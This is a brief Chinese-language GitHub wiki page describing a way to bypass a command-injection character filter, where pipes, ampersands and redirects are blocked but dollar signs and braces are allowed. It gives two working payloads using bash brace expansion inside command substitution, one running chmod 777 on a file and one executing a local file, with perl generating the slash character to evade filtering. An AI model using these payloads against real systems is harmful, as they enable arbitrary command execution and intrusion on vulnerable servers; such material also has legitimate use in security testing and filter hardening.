Skip to content

命令注入 符号被过滤的一种绕过方法

solei1 edited this page Aug 13, 2019 · 2 revisions

今天遇到一个命令注入,但是只能用!@^*$()_-={}[].,'~, 也就是说| & > 不能用,但是$能用,这时就可以可以充分使用${}来进行命令注入。

例如,

$({chmod,777,qz})等同于chmod 777 qz

$({sh,-c,.$({perl,-e,'print(chr(0x2f))'})qz}) 等同于 sh -c ./qz

Clone this wiki locally